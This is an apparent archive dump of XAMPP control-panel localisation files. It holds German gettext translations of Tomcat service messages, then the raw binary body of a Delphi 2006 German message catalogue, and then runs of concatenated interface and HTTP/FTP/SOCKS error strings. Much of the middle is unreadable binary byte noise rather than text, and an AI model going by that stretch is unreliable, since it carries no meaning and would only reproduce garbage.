//RS//%s" #: uTomcat.pas:122 msgid "Problem detected: Required Tool catalina_start.bat Not Found!" msgstr "" "Problem festgestellt: Benötigtes Script catalina_start.bat wurde nicht " "gefunden!" #: uTomcat.pas:127 msgid "Problem detected: Required Tool catalina_stop.bat Not Found!" msgstr "" "Problem festgestellt: Benötigtes Script catalina_stop.bat wurde nicht " "gefunden!" #: uTomcat.pas:132 msgid "Problem detected: Required Tool catalina_service.bat Not Found!" msgstr "" "Problem festgestellt: Benötigtes Script catalina_service.bat wurde nicht " "gefunden!" #: uTomcat.pas:182 msgid "Java is already running on port %d!" msgstr "Java ist bereits gestartet auf Port %d" #: uTomcat.pas:183 msgid "Is %s already running?" msgstr "Ist %s bereits gestartet?" #: uTomcat.pas:230 msgid "%s Service Install stopped with errors, return code: %d" msgstr "%s dienst mit Fehler gestoppt installieren, Rückgabecode: %d" #: uTomcat.pas:231 uTomcat.pas:254 uTomcat.pas:296 msgid "" "Make sure you have Java JDK or JRE installed and the required ports are free" msgstr "" "Stelle sicher, dass du Java JDK oder JRE installiert hast und die benötigten " "Ports frei sind" #: uTomcat.pas:232 uTomcat.pas:255 uTomcat.pas:297 msgid "Check the \"/xampp/tomcat/logs\" folder for more information" msgstr "Überprüfe den Ordner \"/xampp/tomcat/logs\" für weitere Informationen" #: uTomcat.pas:253 msgid "%s Service Uninstall stopped with errors, return code: %d" msgstr "%s dienst mit Fehler gestoppt deinstallieren, Rückgabecode: %d" #: uTomcat.pas:295 msgid "%s Started/Stopped with errors, return code: %d" msgstr "%s gestartet/gestoppt mit Fehlern, Rückgabecode: %d" #: uTomcat.pas:323 msgid "Attempting to stop %s" msgstr "%s wird versucht zu beenden" #~ msgid "XAMPP %s is already running" #~ msgstr "XAMPP %s ist bereits gestartet" #~ msgid "Ports in use: %s" #~ msgstr "Ports in Benutzung: %s" xampp-control-panel/locale/en/LC_MESSAGES/delphi2006_de_en.mo000066600000666016151723641500017365 0ustar00 N l(/L am!'+# 4 B8c%1. #6D{`*H Si4+ <Jd/u B4 KWn }O(< e'% !/Q5q&) 2F ]j{(>Qemt{    /= MXg#x  $ $.S bm " ) 5A]u~ '  *8?G7Z  &,3 :F[ n*|    (CUdio   %9oP&'6&F#m21$'6C1z "& G(g8!# ,.>[CSQ2 '. 5 A&Mt{,)l^H TY_XQc#<lYU>e%;0  "7/@ p}0@(Een %`-/?o8"4 : F.Q9 $8(Aj -_[w/[A_ g(r   m /5%Nt$- & +50<m|*1@DA6aUauM(%+N+z-<  &0Bs1%d4+1J N\` fp8s31&9Wo8;;">^K7L!nrHy=( )-4b%z"#@(:sM$*&Q iw I< +Z B   &  W- W  ; 5/ ]e E C @M * ; O EE   )  I >@7J?8B,{8) "A'Px    !(80i+x!-.!&P*w4! !-#Os y-s#(4L!Z?QG^*(*S@~,$1 7'C"k  >/63,j!!3=+M+yES"?%b4L $'PL/",#;/_;&4w'[(4$#YD}7O2J)}>TD;  ^ < (!8!&T!){!'!#!(!#"3>"r" ""/" ""##!6# X# e# q#${##1## $ $!&$H$Z$w$$$$$%$ %&%;%O%b%v%B%<%.&>&[X&=&Q&9D'6~'.'!'+(2( L(Y( _(<m(((( ( ( ) ))*)=)LO)+)&)=)A-*'o*9*E*2+6J+3+2+L+J5,O,w,LH- -3-O-8:.Ws.1.%.#/#=/Da/5/0/@ 02N0011L1 2,'2'T25|2R2;3JA3/3s3;04l4@44;[55P&6*w6 6/6-6,!7?N7)7&77@7:<81w8N8B83;9@o9"99Q9C:G: P: Z: d:n:w:z:m:;$;C;1<<L<j<^<S=o==C3>Aw>?>3>7-?e??A? ?f@h@AXA0B/BFBL5CTCOC'D8D2DFE`EUErLFDF@G)EGFoG5G7Ge$HDH?HBIwRIJI3JTIJAJ7J}K>K,K>L|AL+LOLC:M8~MFMJM1IN){N(N>N! OR/O-OO@1P!rPfPNPSJQ7Q%Q,Q))R1SR!R R/RUR6NSS>S<SHTN`T T8T- U87U-pU,UVUQ"VUtVUV W6AW1xW9W:W:XZXX3YYYCZHVZAZ>Zg [A[.[H[LB\K\C\-]UM]b]^M^]^_L_3_/`DI`J`D`(aGaN_aGaGaE>b bbb5b*bc6cJc Mc[c.uc c ccccd d8dQd&kddd ddd0de 0e ;eFe Ue`e oeye e eeeCe f3f Nfof f#f f#fg0'gXgxg2g?ghh9hTh)qhh9hhFi/Xi#iTiCjIEj\j0j:kDXk?k0kRlal>}lFl:mI>m+mcm?n#Xn|nCn2n o*oTo? p9Kptpp q- q8q@qTq dq.q'qq$qr3r0;r-lr'r,rrrr_sqs6s5ssst!tAt]t bt ltwt!tt]tLuluuu7uCu v )v5vIv bv3lvv%vvv ww=wRw&[w3w&w*w9x>BxEx#x(xy.3y by2ygy(z]GzpzL{Ac{:{){$ |//|M_|S|},}MI}s}) ~05~1f~/~-~)~0 #Q/u!6B'AGi;43"$V.{)?ԁ&2Yx"C(]/ B ۃ !#6Zs%ńڄ+!/QX^b-)څ(++?(k"-͆V6n Ƈ' ")'L1t1/؈",'5 #?/c'80%Q< 'B׋('C1k@#ތ!5$&Z%_0(8a .َ&%)Lv!)؏+!3M4: +4>J%Eđ  '0X0s;2!2pT>œ:3?:s6=&#J%j)ҕ*+@%l6–  %&L Q]q'(P=:x81 ' L4' ę̙$љ&/8MGLΚ+DG-<C@;|  ל KQ ԝޝ+/=m7Ӟ ";CH MYY )4@I  àΠ ֠   <QW ju   ӡ ء.Mdl~c + =I&_8;c1_#E4/0`AN5)  $1A8P% ǧѧ  #(-,V & ͨ$ۨ/m03-ҩ)*EVjg4ҪJgp="!=BY s  ĭɭ4˭8+9(eX&-J i)s  /ʯ.),Cp% ԰)2!N<p#ñ??!Su9β@FI>ų)).(X).:ڴ':=6xI   '317e/jj r~ҷAAGZZ3?Es.*%&L2UBD˺.0?py  ǻѻ   '18GN]8r żʼIѼ#?Qe wU׽޽-01P+?(l Bֿ7UsA 9K48";2U1  54E0K|E!(&3Fz &/$"7G:. B LV n(z'3A&]4%      ' 3@Rds9z % # :5[   e o.b# (%6 \ gEsCecz25(Dm!   5" 3>Te+w 1B8*{&*%  ?`( 12Ed!!Z f|+).#X$|+8U^r%)z>|f6 #%-$RU8e//54+R~ 947=8u561/M+}H@G3K{08Y1482P `j9}8F^7A@(Cil2)!>K$.V5Ha%x  " 5;P d4o  N6M,\ &4:#A er     /)CYm /E,c;68?</|.-2 -<bj#/ % 1 =)J/t8 b:LG 2'B3j1,).3X    85Aw&* "8%-^! %&>E I S ]g0 <:8s#! 5 <C'**)ABKV'0G .K5$M+0\"r"#.12HB{$>  HS,c D@<F;9Nm+t;$7Nc}    /0<,m,%&?\.xM?U!m!2%Bav2 "7G#a*.0-4$Kp  !U'}(D1a11 (,I#v'$& % ='GgoP(7?RKe>K< C>N %=#)Md~53GYs#3 * -   - M <a   & ' ! < $X "}  + #  +# O d      = -F t /   5 (?7YV]F1e')08O%)%)?^2s#+!(J g%- 'E`+v #3Ja}B $'(L u+'%#C;g:59N$c"!D`S"AS^+ L8!"YN$s!J3Ml6# ?`t,'Go#%65Pe}Z +7 8c   3C!w!C!A! "C)" m"x"}" ""A"@"'3#[#_#b#e###)#6#$B*$)m$D$1$%%4%C%U%l%1%%%+%!&]9&&& & &&& & &6' ?'>L'%'9'>'W*((R(-()#*)N)"W)z)&)) )))* *+*3*.;*j*.*0** *+3+:8+s+++++++ ++&, 5,V,(s, ,,,,,,-3#-?W--&-%--g-Y.<^.!.&..?/:D/:///G/J(02s000 0 01,71d1|1 11E11A2D2Pa2F223&3@3(Z3"3!3 3/3!4&4?4 D4)R4F|4"4 444 51"5;T5f55* 6,66c6#66#6 6 6 6 7#7)974c7777/7-8(L8)u86828- 979G<999999#9':$G:l:": ::1: ;&#;J;f;;;;;,; <)(<9R<<'<<<B<46=9k=g= > >I2>+|>K>>; ?)H?r?4??? ???|@#@.@@@WA,sA,AA4A2 B3=B+qB1B1BC3C:CZC.pCCCC/C C DD&D 5D VDGcD/D/D2 E>E TEbE zFFFFF FF!FG;G+JGvG GG1GG$ H(2H[H0xHHEH"I-)IEWIIIII/IJJ&J =J*KJvJ JJ$JJ JJ K K;KJKeKEKKKK LL6LOLjL}L*LLL)L M'M7MJM YMeMuMMMMMM$N,NCNYNaNhNoNxN~NNN N NNN4N N N OO#O*O3O 8O CO OO[OlO O OO O OOOOO P!P(P 9PEPVP]PlPuP}P P PPP PPPP PQ QQ Q(Q?Q HQTQ oQ zQ QQ QQ$QQQQ Q R$R (R 4RBR XRcRiRpR wRR RRR RR R RR RRSS*S :SHSNS US aS lS xSS S S SSSSS SSeS ]T!~T7T(T!U0#U"TU"wU!U0U!UV(V>V]V#mVV#VV0VW6W PW$qW,W2W5W,X 2X@XHXQX pX zXX XX XXX X X!XXY YY*YFYUY!oYlYY ZZR'ZJzZZZZR[\\] ]]]#]^f,^{^_ _>_f_B``.Ra bb b b b b!b bb!c1c!Ecgccc c ccc@cd%.dTd!kdddd4dd d'e6,e ce qee e+e"e ef$f 3fAfIf>gf f f$fCf1+g]geg'ng gg gggggegahqh&hhhhhh ii *i&5i\iqiiiii ii#i jj44j3ij,j4j/j:/k8jkk&kk l2&lYl alkl(~ll,l"l mm+mGmO\m#mmmmn$n:n >nJnNnTnYn.^n+nn$nno+o.Ho$wooo9o2o;p+Vp,ppp-p"p q,q'4q\qqqqq3qqrUrgrwrr r%r r rr r s ss 9s<Ess%s's ss# t-tB?tBtt<t&uZ>u4u3u*v-v;Hv*v7vvvw#w+4w.`w)w,w/w*xAxYxyxxx xxxyyy$y5y MyZyjyyy~y3y yy y*z-z=zWz_zwzzzz(z{{7{O{ V{c{V|{{"{||1| :|E|@_||E|| }Y}p}};}}(}"~:~O~ U~c~~ ~~ ~~/~"~4)Is(1(4C0x*ـ&+?DUȁ!݁&8_w^B5-Ky2.̃$- %N7t=6 !<,0i%υ2La 0  , G U`i}, ԇއ 2 ANj"  ƈ ҈ +(:"c1,ωH0E.v$ʊ" ".3/<l    ɋԋ9 !Gi46)+%G'm%%#.&4.[Q2܎!!15S!5*  -;$W|%2,_"l;B#[3N͒##@d^$+dA?Cu$ޕ#$>/W')ٖ%0"F<i"%ɗ$4+Jvz    Q˜0## Q-5Ϛsؚ*L1w+'՛;9K9[U>'Zf#<9"6\=Kџ2&P0wtEUc14 0;%lH&)"(L[uoѣ AFb-!פV.P4\ԥ1@I. +ڦ>"Eh%ȧ0ߧL/(|=474!l!ʩ& '%;Ha8*/1O3"ѫ-@!Z7|68;$ ` '/ʭ**%lP1=No7:*10\J4ذ( 86Co)Eݱ #DDX5 D5&z*,̴12+^u085=, jw7(Ѷ$ (6+P |·ط)C_z  ̸   " -:R3i$ʹ,AXi084Rl!ɻ)(.W;mA>8*,c1031e#wM*+@SZ+ڿ!$(_M@* !6^X  "3V_x$!$+.5;NM32  (6Tgkr{-=%;D$Y,~ 2!!C bo%%'-U.t7$5Z2tN5@D&0+! +@0\- ?W x*(& "1Tn#:)2\'w+"2OS&d+ .G4 |@   "9N'b ,"(,+F&r$3(R{F*1Oj|# {v#!$ 0*L!w=%@_$|$$7LS&#/&Ho$+-P1~5$)<f <!)/G w!f0;1l#3-0$Us     +9Rp#   %(>gK91Li )5%#*27V#p/;3%47Z.0//" R _ jt1X D O/Z)(Rj @ ' ,38-l     +:?NW _jos     !,DMV  ,4#ZX!-,%Fl0*IYj  $$D [ev  # % FU"uT0*&Ip deu=huM,>,k    #3 #= aC/7 P[w"$ #/EY)p1 4 Ijz.1:.i{+'#$,%Q-w'+Ibi y  -)$O911)I[J#=.R&$)>-h    ".? P\ cq x): <J ^ j@u)%'F1d%P &98S&(<e/2."J"m    %%-&@g'   & 1$R!w,/"6 NX_u'3 %?/e         ( ;I:Q #  # *IYq R    L/ |  #   . 5 T,      ,  5 T "n            # $1 V  h u  1 # ' #( 'L !t      + D"R+u;K(tp!>[!x +:!\zb]*S$"$;+`4  .D_~*+21L1~01$%80^*/3,/KL{&5<Ri z741H4},.Xt)#5"+5N    -8Rd kv$ 6 4>Rd|    $ 5@R c o|    .?=?NW_v~+""  ( .I %x $ # ( #!S4!!!!!!! !!#"'2" Z"Lf"<"J";#V#k#t###$#$#$!$2$#N$0r$$$$ $ $ $ $ $$$%$*#%N% g%#%%%%%+% &)& F&S& j&"x&&&& &&& & & &&' ')('R' f'1q'/''' ("(A((Z(2(#((#(#)'4)4\)C)D)W*%r*7* **6*++0+I+;a+++++ ,+,2,!M,o,~,8,, , --- @-L- [-|- -- ---1-.).>.8E.8~..8./!/.1/`/r/ ///////0 0 0#0A0 E0O0`0 f0t0$0)0'0#01-1I1b1z1+11<182 M2[2x2(2 222+2 3 3 33%@3f3y3 33 333&3*4,34`4z44444 444445/5@52R5n55$6*6C6&b66 66 667,7K7g7777 77R7M18888888487#9[9b95i9999$909!:>:Q:g:x::: :#: : : ;; :;G;#b;;_;!;!<A<\<q<<.<<<= '=H=`=y======#>9>K>g>>>>>2>?,?$>?c??(?? ?5?6@VI@@,@ @!A(A7AJA eA3A!A A!A" B.BCBVBtB.BB#BBC#CBCYCsC C"CCCCD*D">DaDrDD DDDDEE2ECE;ZEE!E%EEF/FIFdFFF1F-F3G0IGzGGGG GGGH*HIHaH{H7HH$HIIF4I{I IIII7IJ3JNPJ>JJJ K+K4CKxKKK K1KK L)LFLVLnLLLLLLLMM?M_MqMMM2MMNN*N?NPNfNN~NN)N*OS TT !T ,T7TJT[T cT#mT T!TT4T4UKCU U<UU UVV(VDVXVsV VVVV VVV"V V$V"W8WLW hWuW2zWWWWWWWX X%X%6X!\X~X"X XXXXXY'Y#EY0iYYYYY=Y#Z#)ZMZjZZ)Z,Z!Z['[,9[-f[[[[[[\*0\[\s\ \ \0\\9\]:/]%j]]]]]]^!^?^H^b^^^^1^&^ _ !_/_5_ L_V_+r_W___`5`E` [`h`{` ` ` `#``"`a"a@a"\a)aa!a(a,b*Ablb2sb!bbbb"c"$cGcec!zc cc#cc d-dAd Vd dd ndyd!ddd2de+e GeTe?ee0e"eSeMfafrf.f%f f.f g2? @237~4% ox _ xv . Ca l tDzG{Tz g JN K))|"/ NlVT- w] Y vd z];C|= _:J~DMb [ 3 Gn  t<4 9>^ #D?<l0Fw6  | 5 "k q YI ^o "$ $ ( Bu $Xu(I9v # ^H m odk h~M? =C c _hcf& n QOaR ]!+3DUHcp^ 98 c8 E  WyY=&)< pt( ZQ v 5J xk }#T ^7rlj{ : <D (Vz.+XL\ e 2 NEq9 v<25Lz Fg*SJU@mtjbLeA I >uMqWWG %@ .`  Pb *T ] ZBj ,7 G k-J/A6U7=iN ]Q4i  + Y7DhB  e6.?u'% ,S& Ky/x;|1s,5(uHFc*W) \TjN 5A{EWp8)X y{S DiK My f{! o 4; O9 .nrc\'q0`_6' #z0xEGsbhD(Q 3#  }.5 \g[b-=PH { sLq f_94; \ *`4;q awws1yj? O :?Yv EjV 1[XSw p= V:0} +L%= f rY&!gc,}{ h J ]s . -2d kyIF  CaK *gX < Ze hn')RjB+ w*W9+ ! e6 ;QS  g / >N450a2 dba`EO6f? {K) 6LA9"^)' 2\8bc[RI E`Z+MU /%Z & :&$gJ7oR} t o[#;H7=[d #o  3 \3ee 6Mq?" [uO I_  M  SR1 [h$m&F z^ V`h (U~Lg vvpV<Kk+`R, > ^L Q O7=BO%L+U$#Ct #I!1d!m m bsqc`S|3r~ @W [}H Jd* e1@GE Evk8*U#0 <y4 8b NFFi00 Ax>P\Y@- E Wn %.B_kIp5kUQZACc m*{P CS  f 7r$$A tYmOz8 ]AzfH8 2  fT6Hx^,`G,PS e@ r|.Vs.Q uK33s/G< ,x+'`, :%H\b>t=?9/Osi x ?[qPl(>~R)&"Kf;M n\o  @B  Cn  ]Z"Ma  5T~pYxP/s|m~:Gr 3i: qF/,T; $u iI(}oD-wnra  -*Fvk0Xjw'  f DXd>p2:N$15VGl)j 1R  laXP]< :ozg 'B  {H-M(7Tl "Vmw  i Q|nA 6huB!W^TC } "r' 'dFerL 8J-_pd 9@N4ZKZ h R|U 1aCgp 4j W " ]i@IliQ~ JZ}!8X% 0%|yt}N>n A RPm;yy~PY l /twX_B!O& &Protokollgröße (%dx%d) - Andockzone besitzt kein Steuerelement - Andockzone nicht gefunden Daten zuweisen von Datenbank ist bereits in der Abfrage ist kein erlaubter Dimensionstyp ist kein erlaubter Zusammenfassungstyp nicht angegeben!-!IdHL7.pas,0.00-011,08 Mar 02 17:59,12259"%s" Anweisung nicht implementiert."%s" erzeugt."%s" ist das Arbeitsverzeichnis.%0:s: Aktion %1:s im zugeordneten Adapter nicht gefunden%0:s: Datenmenge %1:s ist nicht aktiv%0:s: Datenmenge %1:s unbekannte Schlüsselfelder%0:s: Eigenschaftswert von ValueField ist leer%0:s: Feld "%1:s" nicht gefunden%0:s: Feld %1:s im zugeordneten Adapter nicht gefunden%d aktuelle Verbindungen%d ist ein ungültiger Wert für PageIndex. PageIndex muß einen Wert zwischen 0 und %d besitzen%d: Zirkulärverweise sind nicht gestattet%f Julianischer Wert kann nicht als Datum/Uhrzeitwert dargestellt werden%g ist kein gültiger Wert für das Feld '%s'. Der zulässige Bereich ist %g bis %g%s%s %s Fehler (%d)%s%s (%s, Zeile %d)%s - PortTypen:%s ActionManager-Eigenschaft wurde nichts zugewiesen%s Adress-Fehler%s Adresse OK%s Anweisung erfolgreich.%s Eigenschaften%s Nichtvisuelle Komponente für 32-Bit Delphi.%s Verzeichnisstruktur.%s [%s%s]%s an %s%s befindet sich nicht in einer Gruppe für Klassenregistrierungen%s darf für ein Verweiselement nicht gesetzt werden%s erwartet%s hat den Faktor Null%s in Zeile %d%s ist bereits mit %s verknüpft%s ist beschädigt.%s ist kein Gopher+-Server%s ist kein gültiger BCD-Wert%s ist kein gültiger Wert für Feld '%s'. Der zulässige Bereich ist %s bis %s%s ist nach einem EPSV ALL nicht erlaubt%s kann nicht ausgeführt werden%s kann nicht geladen werden%s kann nicht geöffnet werden%s kann nicht nach %s verschoben werden%s kann nicht verborgen werden%s kann nicht zu %s zugewiesen werden%s konnte nicht analysiert werden%s konnte nicht geladen werden.%s muss der aktive Index der Nachschlagetabelle sein.%s unterstützt den Datei-Upload nicht%s wird nicht weitergeleitet%s wurde nicht als COM-Klasse registriert%s%s%s %s%s%s%s Datenbanken%s%s%s Indexdateien%s%s%s wird bearbeitet%s, Standard%s-Fehler %d, %s%s.Seek nicht implementiert%s.XMLBroker = nil%s.XMLComponent = nil%s: Adaptereigenschaft ist nil%s: Aktionsname fehlt%s: Eigenschaft DataSet ist nil%s: Eigenschaft DisplayComponent ist nil%s: Feldname fehlt%s: XMLBroker fehlt%s_Disp%s_Doc%s_IDs%s_Names%s_RS%s_Table%s_XML&Abbrechen&Abfragetext:&Aktionen:&Aktiv&Alle&Alle Felder&Alle Nein&Alle entfernen&Alle verkleinern&Anfangswert&Anzahl&Aufzählungszeichen&Ausschneiden&Basierend auf:&Basisfeld&Benutzername:&Bild öffnen...&Bindung von Eigenschaften an Feld:&Bindungen&Browser:&Dataset-Editor...&Dateien: (*.*)&Details...&Druckereinstellungen...&Durchsuchen...&Editor für Entscheidungsabfrage...&Editor für Entscheidungsanalyse...&Eigenschaften&Einfügen&Ermittle Zellenanzahl&Ersten suchen&Farbe wählen...&Feld&Felder hinzufügen...&Felder:&Fertig stellen&Grafischer Abfragegenerator...&Große Symbole&Gruppierung&Größe:&Hilfe&IP-Adresse&Ignorieren&Inaktive Verbindung halten&Inaktivitäts-Timeout:&Info...&Ja&Kategorien:&Kopieren&Kursiv&Kurzhinweise in Symbolleisten anzeigen&Laufwerke:&Links ausrichten&Liste der verfügbaren Felder:&Liste editieren&Log des Verkehrs&Log in Liste&Lokal&Maße:&Menüanimationen:&Nach kurzer Verzögerung vollständige Menüs anzeigen&Nein&Neu&Neuer Botschaftsteil...&Neues Feld...&Nur registrierte Objekte&OK&Optionen...&Parameter holen&Parameter überschreibt:&Passwort:&Port&Port:&Ports&Protokoll:&Quelltext-Editor...&Rechts ausrichten&Rückgängig&Schaltflächen hinzufügen oder entfernen&Schlüsselfelder:&Speichern...&Suche über Schlüsselwort&Suchpfad:&Summe&Symbolleisten&Tabelle:&Tabellen:&Tastenkürzel in Kurzhinweisen anzeigen&Text übersetzen&Treiber-Name:&Typ&Typ:&URL durchsuchen&Unterstrichen&Verbindung trennen&Version IP&Vertikal anordnen&Verwendung der Hilfe&Verzeichnisse:&Weitersuchen&Wiederholen&Zellen&Zentriert&Zurücksetzen&Zusammenfassungen:&Zwischensummen an/aus  Verknüpfung mit WS-Inspektionsdokument der Services hier'%d.%d' ist kein gültiger Zeitstempel'%g' kein gültiger Datums- und Zeitwet'%s' ist kein gültiger Fließkommawert für Feld '%s''%s' ist kein gültiger Gleitkommawert'%s' ist kein gültiger Integerwert'%s' ist kein gültiger Integerwert für Feld '%s''%s' ist kein gültiger Wert für die Eigenschaft'%s' ist kein gültiger Währungwert'%s' ist kein gültiger boolescher Wert'%s' ist kein gültiger boolescher Wert für Feld '%s''%s' ist keine gültige Datums- und Uhrzeitangabe'%s' ist keine gültige Uhrzeit'%s' kann nicht geöffnet werden'%s' kein gültiger Wert für GUID''%s'' erwartet''%s'' ist kein gültiger Integer-Wert''%s'' ist kein gültiges Datum''%s'' ist kein gültiges Datum und Zeit''%s'' ist keine gültige Zeit''%s'' ist nicht mit einer InterBase-Datenbank verbunden'(' erwartet, aber %s vorgefunden')' erwartet, jedoch %s vorgefunden')' oder ',' erwartet, jedoch %s vorgefunden(%d, %d) ist kein gültiger Wert für die Tagesangabe im Datum(%d, %d, %d) ist kein gültiger Wert für die Wochenangabe im Datum(%d, %d, %d, %d) ist kein gültiger Wert für die Monats- und Wochenangabe im Datum(%d, %d, %d, %d) ist kein gültiger Wert für dieTages- und Monatsangabe im Datum(ADT)(Alle Aktionen)(Array)(Binär)(Häkchen schaltet Anzeige um)(Kein Name)(Keine Kategorie)(Leer)(Nicht angezeigt)(Nicht verfügbar)(Nicht zugewiesen)(Null)(Ohne)(Unbekannt)(Unbenannt)-Err 501 MailB ist nicht implementiert/Clean/Details/List0 Linien1999 XML-Schema-Übersetzung (.xsd <-> .xsd)3D Dunkler Schatten: [ - Ohne Namen - ];Eingabe;Ausgabe;Eingabe/Ausgabe;Ergebnis;String;SmallInt;Integer;Word;Boolean;Float;Currency;BCD;Date;Time;DateTime;;;;Blob;Memo;Graphic;;;;;Cursor;<#LIST><- B&indung ->

Fehler aufgetreten

Interface %s wurde nicht gefunden

Verboten (403)

Zugang verboten

Nicht autorisiert

Nicht autorisiert

Für diesen Bereich ist eine Anmeldung erforderlich. Entweder hat Ihr Browser keine Anmeldung durchgeführt oder Ihre Anmeldung ist mißlungen. Verzeichnis von %s

Verzeichnis von %0:s

Das Durchsuchen von Verzeichnissen ist nicht gestattet

Der Zugriff auf die angeforderte URL ist nicht gestattet

HTTP-Statuscode: 403 Der Zugriff auf die angeforderte URL ist nicht gestattet

Der Zugriff auf die angeforderte URL ist nicht gestattet

HTTP-Statuscode: 403 Ungültige HTTP-Anforderung: Methode für HTTP/1.0 nicht zulässig

Ungültige HTTP-Anforderung: Methode für HTTP/1.0 nicht zulässig

HTTP-Statuscode: 400

  • %s (%d Bytes)
  • [ %s ]

    Warnungen zur Entwurfszeit

    %s

    Die angeforderte URL wurde nicht gefunden

    Die angeforderte URL wurde nicht gefunden

    HTTP-Statuscode: 404Interner Server-Fehler

    Interner Server-Fehler

    HTTP-Statuscode: 500

    HTTP-Fehlermeldung: %s%s > %s

    Interner Anwendungsfehler

    %0:s


    %1:sDokument wurde verschoben 302

    Objekt wurde verschoben


    Das Objekt könnte hier gefunden werden.

    Interner Server-Fehler 500

    Interner Server-Fehlerr 500


    Exception: %s
    Meldung: %s
    Fehler[%0:d]: %1:s
    Zeile: %2:d Position: %3:d
    @ Outside-AdresseA&ktivitätA&lle JaA&nmeldeaufforderungA&nzeigeA&ssigniert (ausgetestet in dieser Reihenfolge)A&ufbauen...ABCDEFGHIJKLMNOPAUTH Befehl ausgeführt. SSL wird initialisiert.AUTH Daten werden benötigtAUTH kann nicht gesetzt werden, solange eine Verbindung besteht.AUTH kann nicht ohne SSL gesetzt werden.AVI kann nicht geöffnet werdenAVIVideoAb&frage bearbeitenAbbruch durch Anwender.Abfang-GUIDAbfrage kann nicht ausgeführt werdenAbfrage zum Einholen von notwendigen Informationen starten, um den Zellenverbrauch abzuschätzenAbfragee&ditor...Abfrageparameter fehlen oder sind nicht korrektAbgelaufenes NFS-Datei-Handle.Abgeleitete Zusammenfassung konnte nicht erzeugt werden.AbsendenAbsender %s wurde nicht anerkannt.Abstrakter FehlerAccess violation at address %p, accessing address %pAchtelmeileActiveEditAdapteranforderung nicht behandelt: %0:s, %1:sAdd/Join Tables und Create Field List mit dem SQL BuilderAdministratorAdministrator für WebService-ListenAdresseAggregatfunktionenAktion kann nicht auf unbekannte HTTP -Methode antwortenAktion kann nicht zu leerer URL umleitenAktion sieht keine Antwort vorAktionen hinzufügen...Aktive TitelleisteAktiver RahmenAktiviertAktivierung des OLE-Steuerelements mißlungenAktualisierung der falschen Transaktion. In der Menge wird eine eindeutige Transaktion erwartetAktualisierung durchführenAktualisierung misslungenAktualisierung nicht möglich, %s gehört zu %sAktualisierung wird nur unterstützt, wenn die Eigenschaften FileName oder XML gesetzt sindAktualisierungs-SQL-Anweisungen nicht generiert; trotzdem beendenAktuellAkzeptiertAlarm: Es muss sofort etwas getan werdenAlia&sname:AlleAlle &FelderAlle Aktionen hinzufügenAlle Aktionen hinzufügen...Alle Befehle hinzufügenAlle Dateien (*.*)|*.*Alle Dateien (*.*)|*.*|Wave-Dateien (*.WAV)|*.WAV|Midi-Dateien (*.MID)|*.MID|Video für Windows (*.avi)|*.aviAlle Dateien(*)|*Alle Dateien(*.*)|*.*Alle Dimensionsfelder müssen gruppiert werden.Alle Fel&der hinzufügen...Alle Felder hinzufügenAlle Parameter hinzufügenAlle Spalten hinzufügenAlle markierten Datensätze löschen?Alle verkleinernAlle verwendeten Daten zurücksetzenAlles markierenAlles markieren|Markiert das gesamte DokumentAllgemeiner Fehler im Array.Allgemeiner SOCKS-Serverausfall.Alt+An&ordnenAndereAnforderung zurückgewiesen oder fehlgeschlagen.Anforderungen:Anforderungs-Entität zu langAnforderungs-URI zu lang. Max. 256 ZeichenAnfragenAngedocktes Steuerelement muß einen Namen haben.Angeforderte Aktion abgebrochen: Lokaler Fehler bei Bearbeitung.Angeforderte Aktion abgebrochen: Lokaler Fehler bei der Bearbeitung.Angeforderte Aktion abgebrochen: Seitenzahl unbekannt.Angeforderte Aktion konnte nicht ausgeführt werden: Ein Mailboxname darf nicht vergegeben werdenAngeforderte Aktion konnte nicht ausgeführt werden: die Mailbox ist nicht erreichbarAngeforderte Aktion konnte wurde unterbrochen: die Speicherkapazitätsgrenze wurde überschrittenAngeforderte Aktion konnte wurde unterbrochen: ungenügend Speicher vorhandenAngeforderte Aktion nicht durchgeführt.Angeforderte Dateiaktion OK, abgeschlossen.Angeforderte Dateiaktion nicht abgebrochen.Angeforderte Dateiaktion nicht durchgeführt.Angeforderte Dateiaktion steht aus wegen Informationsbedarf.AngehaltenAngströmAnhalten fehlgeschlagen: %sAnkündigung: Normaler, aber bedeutender ZustandAnlage wird codiertAnonyme Anmeldung OK, E-Mail als Passwort senden.Anonymer Benutzer angemeldet, weiter.AnpassenAntwort %s auf Job-ID %sAntwortcode ist ungültig: %sAntwortzeit, gesamt:Anweisung kann nicht ausgeführt werden, falscher Verbindungsstatus;aktueller Verbindungsstatus: %s.Anweisung muss entweder USER oder QUIT seinAnweisung nicht behandelt: %sAnweisung nicht unterstütztAnweisungstext &bearbeitenAnweisungstext-EditorAnwendungsarbeitsbereichAnyAnzahl von %sAprAprilAquamarinArArithmetische Filterausdrücke werden nicht unterstütztArray-Elemente vom Typ %s werden nicht unterstütztArray-Index außerhalb des gültigen Bereichs: %dArray-Knoten: %s hat zu viele ElementeArray-Typ erwartet. Knoten %sAstronomische EinheitenAsynchroner Socket-Fehler %dAttribute werden bei diesem Knotentyp nicht unterstütztAuf Feld '%s' kann in einem Filter nicht zugegriffen werdenAuf WiedersehenAuf Wiedersehen.Aufruf von %s.GetByte [property Bytes] mit Index <> [0..%d]Aufruf von GetExtensionVersion FEHLGESCHLAGEN. Fehler-Code: %dAufruf von TerminateAndWaitFor für FreeAndTerminate-Threads nicht möglichAufrufbare Klasse %s implementiert keine SchnittstellenAufzählungszeichen|In die aktuielle Zeile ein Aufzählungszeichen einfügenAugAugustAus der Datenmenge kann nichts gelöscht werden. (Keine Lösch-Abfrage).Aus einem sichtbaren Fenster kann kein modales gemacht werdenAusdruck erwartet, jedoch %s vorgefundenAusführenAusführung der Aktion %s ist nicht zulässigAusführung erfolgreichAusführung nicht möglich von %s %dAusführung nicht unterstützt: %sAusgewählter Drucker ist ungültigAusschneiden|Markiertes Objekt in die Zwischenablage verschiebenAuswahl &kopierenAuswahl &verlagernAuswahl enthält eine Komponente, die in einem Vorfahr-Formular eingeführt wurde, das nicht gelöscht werden kann.Auswahl löschenAuswahl nach unten verschiebenAuswertung von assert fehlgeschlagenAuthentifiziertAuthentifizierungsfehler bei Socks-Server.Außerhalb des BereichsBCD-ÜberlaufBDE-Fehler $%.4xBearbeiten &abbrechenBearbeiten abbrechenBearbeitung &abschließenBeenden|Anwendung beendenBeendigungBefehl PORT/EPRT deaktiviert für den reservierten Port-Bereich (1-1024).Befehl PORT/EPRT deaktiviert.Befehl nicht erlaubt, solange TLS aktiv istBefehl wurde aufgrund unzureichender Sicherheit nicht ausgeführt.Befehle hinzufügenBefehle hinzufügen...Befhel nicht erlaubt in diesem KontextBeginn der Datei.Beglaubigung kann nicht nach Holen des Handle geändert werden. Zuerst Release 